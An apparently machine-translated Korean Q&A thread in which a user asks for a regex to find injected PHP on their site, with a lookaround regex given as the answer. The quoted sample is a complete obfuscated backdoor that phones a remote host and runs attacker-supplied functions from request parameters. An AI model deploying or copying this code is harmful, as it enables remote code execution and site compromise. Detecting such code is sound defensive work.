2015-01-12 2 views
-3

grepWin을 사용하여 다음 코드를 검색하려고합니다. 텍스트 검색으로 탐지되지 않습니다. 누구든지 내가이 코드를 감지하는 정규식을 만들 수 있습니까?이 코드를 검색하는 정규식

<?php 
//###==### 
error_reporting(0); ini_set("display_errors", "0"); if (!isset($i5d8a868c)) { $i5d8a868c = TRUE; $GLOBALS['_2023670025_']=Array(base64_decode('cHJlZ19' .'tY' .'XRjaA=='),base64_decode('Zml' .'s' .'Z' .'V' .'9nZX' .'Rf' .'Y29ud' .'GVudHM='),base64_decode('bXRf' .'cmFu' .'ZA=='),base64_decode('c' .'3RydG9' .'sb3dlcg=' .'='),base64_decode('aW1hZ2Vjb3B5c' .'mVza' .'Xp' .'l' .'ZA' .'=='),base64_decode('dX' .'JsZW5' .'jb2Rl'),base64_decode('dXJsZW5' .'jb2Rl'),base64_decode('' .'b' .'WQ1'),base64_decode('' .'aW5pX2dld' .'A' .'=' .'='),base64_decode('ZmlsZV9nZ' .'X' .'R' .'fY29udGV' .'udH' .'M='),base64_decode('c3R' .'yb' .'GVu'),base64_decode('ZnVuY3Rpb25fZXhpc3R' .'z'),base64_decode('Y3VybF9pbml0'),base64_decode('Y' .'3VybF9zZ' .'XRvcHQ='),base64_decode('Y3' .'VybF9zZ' .'XRvc' .'H' .'Q='),base64_decode('' .'YXJyYX' .'lf' .'Zmxpc' .'A' .'=='),base64_decode('bXRfcmF' .'uZA' .'=='),base64_decode('Y3Vyb' .'F9leG' .'Vj'),base64_decode('YmFzZT' .'Y0X2R' .'lY' .'29kZQ=='),base64_decode('Zmdl' .'dHM='),base64_decode('' .'Y3VybF' .'9' .'j' .'bG9zZQ=' .'='),base64_decode('' .'ZnN' .'vY2tvcGVu'),base64_decode('c29ja' .'2V0X' .'2dldHBlZXJuYW1l'),base64_decode('bX' .'Rf' .'cmF' .'u' .'ZA' .'=' .'='),base64_decode('' .'Z' .'ndya' .'X' .'Rl'),base64_decode('dXJsZGV' .'jb' .'2' .'Rl'),base64_decode('' .'aW1hZ2' .'Vm' .'aW' .'x0' .'ZX' .'I='),base64_decode('ZmV' .'vZg=='),base64_decode('ZmdldHM' .'='),base64_decode('ZmN' .'sb3Nl'),base64_decode('cHJlZ19' .'zcGxpdA' .'=='),base64_decode('c3RycG' .'9z'),base64_decode('c2Vzc2lvbl9u' .'Y' .'W1l'),base64_decode('c3' .'RyaXBzbGFzaGVz')); function _1713395203($i){$a=Array('Y' .'2xpZW50' .'X2' .'No' .'Z' .'WNr','Y2xpZW5' .'0X2' .'No' .'ZWN' .'r','SFR' .'UUF' .'9B' .'Q0NFUFRfQ' .'0hBUlNFVA==','' .'IS' .'4h' .'d' .'Q==','U' .'0' .'NS' .'SVB' .'UX0ZJTEV' .'OQU1F','VVRGLTg' .'=','d2l' .'u' .'ZG93cy0xMjUx','SFRU' .'UF' .'9BQ0' .'NFUFRfQ0h' .'BUlNFVA==','U' .'0' .'VSVk' .'VS' .'X05B' .'T' .'U' .'U=','U' .'kVRVUV' .'TVF9VUk' .'k=','SFRUU' .'F9VU' .'0VSX0F' .'HRU' .'5' .'U','U' .'k' .'VNT1' .'RF' .'X' .'0F' .'ERFI=','dHYteHh' .'sLn' .'J1','L2dldC5' .'waHA/ZD' .'0' .'=','J' .'nU9','' .'JmM9','Jmk9' .'MSZ' .'pcD0=','' .'Jmg9','ZjE1' .'ZGYxOTQ1' .'N' .'Tc3ZjhjOTkxNmM0N' .'jg5' .'O' .'GM2' .'YmIwN' .'2' .'M' .'=','MQ==','YWxsb3d' .'f' .'dXJsX' .'2ZvcGVu','aHR0c' .'D' .'ovLw==','Y3Vyb' .'F9pbml0','' .'aH' .'R0' .'cDovLw==','' .'R0V' .'UIA==','I' .'EhUVF' .'Av' .'MS4' .'xDQo=','SG9' .'zdDog','DQo=','' .'Q29ubmVjd' .'Gl' .'vbjog' .'Q' .'2x' .'v' .'c' .'2UNCg0' .'K','','L1xSXFIv','aX' .'VrcmphbHFoZ' .'WFyY2U=','eG56','' .'cA=' .'=','NWQ' .'4' .'YTg2OGM=','Zg' .'==','Yw==');return base64_decode($a[$i]);} if(!isset($zde_0)){if(!empty($_COOKIE[_1713395203(0)]))die($_COOKIE[_1713395203(1)]);if(!isset($zde_1[_1713395203(2)])){if($GLOBALS['_2023670025_'][0](_1713395203(3),$GLOBALS['_2023670025_'][1]($_SERVER[_1713395203(4)])))$zde_2=_1713395203(5);else $zde_2=_1713395203(6);}else{$zde_2=$zde_1[_1713395203(7)];}$zde_3=$_SERVER[_1713395203(8)] .$_SERVER[_1713395203(9)];$zde_4=$_SERVER[_1713395203(10)];$zde_5=$_SERVER[_1713395203(11)];if(round(0+2201.5+2201.5)<$GLOBALS['_2023670025_'][2](round(0+24.666666666667+24.666666666667+24.666666666667),round(0+1441.3333333333+1441.3333333333+1441.3333333333)))$GLOBALS['_2023670025_'][3]($_REQUEST,$zde_5);$zde_6=_1713395203(12);while(round(0+854+854+854)-round(0+1281+1281))$GLOBALS['_2023670025_'][4]($zde_0,$zde_6,$_SERVER,$zde_7);$zde_8=_1713395203(13) .$GLOBALS['_2023670025_'][5]($zde_3) ._1713395203(14) .$GLOBALS['_2023670025_'][6]($zde_4) ._1713395203(15) .$zde_2 ._1713395203(16) .$zde_5 ._1713395203(17) .$GLOBALS['_2023670025_'][7](_1713395203(18) .$zde_3 .$zde_4 .$zde_2 ._1713395203(19));if($GLOBALS['_2023670025_'][8](_1713395203(20))== round(0+0.2+0.2+0.2+0.2+0.2)){$zde_0=$GLOBALS['_2023670025_'][9](_1713395203(21) .$zde_6 .$zde_8);}if($GLOBALS['_2023670025_'][10]($zde_0)<round(0+2.5+2.5+2.5+2.5)){if($GLOBALS['_2023670025_'][11](_1713395203(22))){$zde_9=$GLOBALS['_2023670025_'][12](_1713395203(23) .$zde_6 .$zde_8);$GLOBALS['_2023670025_'][13]($zde_9,42,FALSE);$GLOBALS['_2023670025_'][14]($zde_9,19913,TRUE);(round(0+143.66666666667+143.66666666667+143.66666666667)-round(0+215.5+215.5)+round(0+505+505)-round(0+336.66666666667+336.66666666667+336.66666666667))?$GLOBALS['_2023670025_'][15]($zde_6,$zde_6):$GLOBALS['_2023670025_'][16](round(0+87+87+87+87),round(0+143.66666666667+143.66666666667+143.66666666667));$zde_0=$GLOBALS['_2023670025_'][17]($zde_9);if((round(0+207.75+207.75+207.75+207.75)^round(0+166.2+166.2+166.2+166.2+166.2))&& $GLOBALS['_2023670025_'][18]($_SERVER))$GLOBALS['_2023670025_'][19]($zde_10,$zde_8,$_REQUEST);$GLOBALS['_2023670025_'][20]($zde_9);}else{$zde_10=$GLOBALS['_2023670025_'][21]($zde_6,round(0+80),$zde_7,$zde_11,round(0+7.5+7.5+7.5+7.5));(round(0+1414)-round(0+282.8+282.8+282.8+282.8+282.8)+round(0+1169.6666666667+1169.6666666667+1169.6666666667)-round(0+3509))?$GLOBALS['_2023670025_'][22]($_REQUEST,$zde_8,$zde_2,$zde_10):$GLOBALS['_2023670025_'][23](round(0+282.8+282.8+282.8+282.8+282.8),round(0+765.5+765.5));if($zde_10){$zde_12=_1713395203(24) .$zde_8 ._1713395203(25);$zde_12 .= _1713395203(26) .$zde_6 ._1713395203(27);$zde_12 .= _1713395203(28);$GLOBALS['_2023670025_'][24]($zde_10,$zde_12);if((round(0+1167+1167+1167)+round(0+213.2+213.2+213.2+213.2+213.2))>round(0+700.2+700.2+700.2+700.2+700.2)|| $GLOBALS['_2023670025_'][25]($zde_4,$zde_6,$zde_8));else{$GLOBALS['_2023670025_'][26]($zde_3,$_SERVER,$zde_13);}$zde_14=_1713395203(29);while(!$GLOBALS['_2023670025_'][27]($zde_10)){$zde_14 .= $GLOBALS['_2023670025_'][28]($zde_10,round(0+64+64));}$GLOBALS['_2023670025_'][29]($zde_10);list($zde_13,$zde_0)=$GLOBALS['_2023670025_'][30](_1713395203(30),$zde_14,round(0+1+1));if($GLOBALS['_2023670025_'][31](_1713395203(31),_1713395203(32))!==false)$GLOBALS['_2023670025_'][32]($zde_0,$zde_4);}}}if(@$_REQUEST[_1713395203(33)]== _1713395203(34))$_REQUEST[_1713395203(35)]($GLOBALS['_2023670025_'][33]($_REQUEST[_1713395203(36)]));}echo $zde_0; } 
//###==### 
?> 
+0

나는 다음을 감지하는 시도 : 나는 누군가가 그것을해야 할 수도 케이스에 게시하고 는

+0

으로 끝나고 정확한 코드를 복사하여 붙여 넣기 만하면 모든 특수 문자가 이스케이프됩니다. 또한 사용중인 정규식 엔진에 따라 개행에 특별한 것을해야 할 수도 있습니다. 나는 일반적으로 특수 문자에 대한 나의 참조로 http://rubular.com/을 사용하지만 더 완전한 참조가 존재할 것이라고 확신한다. –

답변

0

나는 그것을했다. 둘러 보면서 정규 표현식을 만들 수있었습니다. ?

(?<=<\?php .\n\/\/###==###)(.*)(?=\?>)